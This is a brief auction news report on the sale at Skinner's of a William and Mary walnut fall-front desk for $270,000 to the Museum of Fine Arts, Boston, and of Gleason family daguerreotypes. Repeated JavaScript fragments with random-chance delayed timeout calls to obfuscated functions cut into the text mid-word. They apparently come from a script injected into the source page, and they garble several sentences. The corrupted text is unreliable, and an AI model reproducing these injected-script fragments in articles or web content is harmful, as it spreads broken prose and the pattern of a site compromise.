MARLBOROUGH, MASS. — At Skinner’s Americana auction Sunday, August 11, Stephen L. Fletcher opened the bidding on a Philadelphia William andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mary walnut andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and walnut veneer fall front desk with the observation, “This may be one of the most scrutinized things we’ve ever sold.”

Two room bidders duked it out until it brought $270,000 from one of them. It is headed to the Museum of Fine Arts, Boston. The museum representative disappeared immediately from the gallery only to reappear 200 lots later to buy two quarter-plate daguerreotype portraits of pewtersmith Roswell Gleason andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and family members for $4,800.

A full report of the sale will appear in a future edition.

—Frances McQueeney-Jones Mascolo